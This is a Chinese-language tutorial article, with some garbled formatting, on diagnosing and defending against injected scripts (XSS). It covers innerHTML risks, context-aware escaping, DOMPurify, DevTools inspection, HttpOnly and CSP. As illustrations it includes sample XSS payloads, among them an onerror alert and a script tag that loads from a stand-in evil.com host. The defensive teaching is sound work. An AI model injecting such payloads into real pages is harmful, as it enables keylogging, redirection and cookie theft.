本质是未对用户输入做上下文敏感的转义或过滤,导致浏览器将攻击者构造的字符串解析为可执行代码;防御核心是确保HTML输出时每个字符都按预期角色被解释,而非简单拦截script标签。

网页被注入恶意脚本后出现 DOM 异常(如莫名插入 <iframe></iframe>、<script></script>、onerror 事件等),本质是未对用户输入做上下文敏感的转义或过滤,导致浏览器将攻击者构造的字符串解析为可执行代码。防御核心不是“拦住所有 script”,而是确保 HTML 输出时每个字符都按预期角色被解释。
为什么 innerHTML = userInput 是高危操作
直接把用户输入拼进 DOM,等于把解析权完全交给浏览器——它不会区分“这是普通文本还是 JS 入口”。哪怕输入只是 <img src="x" onerror="alert(1)" alt="网页注入恶意脚本篡改HTML文档结构异常排查与防御" >,也会触发执行。
- 常见错误现象:页面突然弹窗、加载未知域名资源、底部多出隐藏
<div style="display:none"> 块、控制台报 <code>Failed to load resource指向陌生域名 - 根本原因:前端用
innerHTML、document.write()或服务端模板未开启自动转义(如 EJS 默认不转义) - 替代方案优先级:用
textContent替代innerHTML;若必须插 HTML,用DOMPurify.sanitize()处理后再赋值 - 注意:
DOMPurify默认不放行onerror、javascript:等危险属性/协议,但需显式调用,不能只引入不使用 - HTML 标签体内:转义
→ <code><,>→>,&→& - HTML 属性值内(如
title="xxx"):除上述外,还需转义"→"(若属性用双引号包裹) - JS 字符串内(如
var msg = "xxx";):需用 JSON 序列化(JSON.stringify()),而非简单替换引号 - 常见坑:用正则全局替换
,结果把 <code>3 也变成 <code>3 < 5;正确做法是只在 HTML 解析器认为“此处应为标签开始”的位置才转义 - 打开 Chrome DevTools → Elements 面板,右键页面任意节点 →
Break on > subtree modifications,刷新页面,看谁在修改 DOM - Network 面板过滤
js和iframe,关注非本站域名的请求,尤其是响应体含alert、fetch、document.cookie的资源 - Console 执行
document.querySelectorAll('script[src], script:not([src])'),检查是否有来源不明的<script></script>标签 - 重点排查:评论区、用户昵称、富文本编辑器输出、URL 参数回显(如搜索关键词)、服务端错误页(可能泄露数据库结构并被注入)
-
HttpOnly对 Cookie 设置后,JS 无法读取document.cookie,但攻击者仍可通过<script src="https://evil.com/xss.js"></script>执行任意逻辑(如键盘记录、重定向) -
CSP若配置为script-src 'self',能阻止外部脚本加载,但无法防内联脚本(如<script>alert(1)</script>);需额外加'unsafe-inline'才允许内联,这反而削弱防护 - 推荐组合:
script-src 'self'; object-src 'none'; base-uri 'self',再配合report-uri收集违规日志 - 注意:CSP 无法修复已存在的 DOM XSS,它只是最后一道防线;根源仍在输入处理与输出编码
服务端输出 HTML 时如何安全转义
服务端模板(如 PHP、Node.js、Python Jinja)的转义机制必须匹配输出上下文。同一段用户输入,在 HTML 标签体、属性值、JS 字符串、CSS 中,转义规则完全不同。
如何快速定位已注入的恶意脚本
不要只看源码 HTML,要检查实时渲染后的 DOM 结构和网络请求——很多注入脚本是动态生成、延迟加载的。
立即学习“前端免费学习笔记(深入)”;
为什么 HttpOnly + CSP 必须配合使用
HttpOnly 只防 Cookie 窃取,CSP(Content-Security-Policy)管脚本加载源头,二者缺一不可。
真正难的不是加一条 DOMPurify 或配个 CSP,而是理解每处用户输入最终会落到哪个 HTML 上下文里——标签体?属性?JS 字符串?这个判断错了,所有防护都会失效。



















